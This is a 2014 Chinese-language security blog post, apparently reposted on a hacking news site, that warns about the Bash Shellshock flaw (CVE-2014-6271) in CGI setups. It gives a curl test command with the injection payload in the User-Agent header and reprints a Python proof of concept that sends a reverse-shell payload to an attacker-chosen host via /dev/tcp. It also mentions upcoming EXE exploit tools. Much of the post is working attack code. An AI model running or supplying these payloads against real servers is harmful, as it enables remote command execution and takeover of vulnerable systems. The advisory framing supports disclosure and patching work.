记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

高危预警:Bash环境变量远程代码插入漏洞

2014-09-25 17:53

几个月以前闹得沸沸扬扬的OpenSSL心脏出血信息泄露漏洞才过去没多久,互联网又爆出一个比心脏出血更猛的漏洞:Bash环境变量远程代码插入漏洞。

 

 

服务器的cgi关联到bash的时候,客户端特制一个变量传递以后,服务端会开启一个子进程执行变量中后续的命令。

和心脏出血漏洞相比,前者只是信息泄露,而后者则可以直接传递命令被系统执行。


漏洞信息

CVE编号:CVE-2014-6271

发现者:Prakhar Prasad(prakharprasad.com) && Subho Halder(appknox.com)

发现日期:2014-09-25

测试环境:Mac OS X 10.9.4/10.9.5, Apache/2.2.26, GNU bash 3.2.51(1)-release (x86_64-apple-darwin13)

虽然利用此漏洞执行的命令将以Apache等解析脚本的网站容器权限来执行,但是仍然可以执行文件(Webshell)写入,反弹shell,数据库执行等各种操作。

根据漏洞产生原理,如果网站php里面用到了system(bash)之类的代码,也将会受到该漏洞的影响。

 

漏洞测试

测试漏洞首先是有一个测试环境,习科搭建的测试环境是CentOS 5.6 + Apache/2.2.15,在cgi-bin下创建这样一个关联bash的脚本:

#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "Hello, Silic"

下一步就是执行一个恶意的访问,恶意的地方在客户端的UA部分,例如:

curl -k -H 'User-Agent: () { :;}; echo silic-test>/tmp/silic'  https://localhost/cgi-bin/hi

此时Apache就会执行:echo silic-test>/tmp/silic这条命令。

这条命令可以自定义,如写webshell、反弹shell等,使用ls等命令该文件的创建者和所示用户都是Apache的。

 

利用脚本

网上已经有py、php等多个版本的PoC了,习科将在交流论坛发布EXE版本的利用工具以及公测漏洞环境,请大家关注。

小编贴一个来自github的PoC代码占占篇幅  :-P

import httplib,urllib,sys 
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded","test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data

其实EXP DB上也已经有PoC了,不过是个PHP的。

//Silic.Org

知识来源: silic.org/post/Bash_Environment_Variables_Code_Injection

阅读:103410 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“高危预警:Bash环境变量远程代码插入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云